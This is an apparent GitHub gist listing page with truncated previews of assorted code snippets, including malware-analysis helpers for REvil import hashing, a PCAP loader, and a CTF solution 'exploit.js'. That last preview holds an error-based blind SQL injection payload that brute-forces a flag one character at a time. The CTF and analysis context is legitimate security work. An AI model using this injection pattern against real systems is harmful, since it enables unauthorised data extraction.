Skip to content

Instantly share code, notes, and snippets.


evandrix evandrix

Block or report user

Report or block evandrix

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
IanColdwater / twittermute.txt
Last active Jan 26, 2020
Here are some terms to mute on Twitter to clean your timeline up a bit.
View twittermute.txt
Mute these words in your settings here:
RussianElmo / Translator.Java
Last active Dec 26, 2019
Pig Latin Convertor
View Translator.Java
import java.util.Scanner;
public class Translator {
private static boolean checkVowel(Character l) {
String vowels = "AEIOUaeiou";
if (vowels.indexOf(l) != -1) {
return true;
return false;
OALabs /
Created Dec 1, 2019
Build dictionary of DLL exports (Windows API Names)
import os
import pefile
import json
'kernel32.dll', 'comctl32.dll', 'advapi32.dll', 'comdlg32.dll',
'gdi32.dll', 'msvcrt.dll', 'netapi32.dll', 'ntdll.dll',
'ntoskrnl.exe', 'oleaut32.dll', 'psapi.dll', 'shell32.dll',
'shlwapi.dll', 'srsvc.dll', 'urlmon.dll', 'user32.dll',
OALabs /
Created Dec 1, 2019
IDA Python script to decipher and label REvil imports
import json
# fn_name = "wsprintfW"
# api_hash = 0x0B6D391AE
export_db = {}
def get_api_hash(fn_name):
result = 0x2b
for c in fn_name:
multiplex3r /
Last active Dec 15, 2019
Load a PCAP into neo4j with scapy
#!/usr/bin/env python3
from scapy.all import *
from py2neo import Graph, Node, Relationship
packets = rdpcap("<your_pcap_file>")
g = Graph(password="<your_neo4j_password>")
for packet in packets.sessions():
pkt = packet.split()
View rosette.rkt
#lang rosette/safe
(require rosette/lib/angelic ; provides `choose*`
rosette/lib/match) ; provides `match`
; Tell Rosette we really do want to use integers.
(current-bitwidth #f)
williballenthin /
Created Nov 22, 2019
010 Editor template for parsing Windows Registry TxR (.regtrans-ms) files
//--- 010 Editor v8.0.1 Binary Template
// File: Transactional Registry Transaction Logs (.TxR)
// Authors: Willi Ballenthin <>
// Version: 0.1
// Reference:
View User Authentication

User authentication system

Your task is now to create a user authentication system.

This document will guide you through all the features and implication of such system, so that you don't have to search them yourself.

We will focus on web/browser-technologies, however similar concept can be widely applied. This guide, is a work in progress, feel free to comment and provide feedbacks.

Expected Workflows

terjanq / exploit.js
Last active Jan 12, 2020
This is a solution of Oracle v2 and Oracle v1 from (I realized I could use <meta> and redirect admin to my website and run the challenge in iframes after I already solved it with bruteforcing the admin :p)
View exploit.js
const fetch = require('node-fetch');
var flag = 'nn9ed{'
var alph = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!().{}'
var escape = d => d.replace(/\\/g, '\\\\').replace(/\./g, '\\.').replace(/\(/g, '\\(').replace(/\)/g, '\\)').replace(/\{/g, '\\{').replace(/\}/g, '\\}');
var make_payload = (i, o) => `Season 6%' AND 1=IF(ORD(SUBSTR(flag,${i},1))=${o},1,EXP(44444)) #` // throws an exception if the character of flag is incorrect
const base_url = ''
// Generates definitions for fonts
function generateFonts() {
View log-parsing.cpp
* Given a log line that starts like this:
* 2014.01.27 19:35:51.639 (UTC-1) 3 1 ...
* the following takes about ~60 ms per call in a release build
* produced by a VC++ 2017 using its stock CRT (v141):
You can’t perform that action at this time.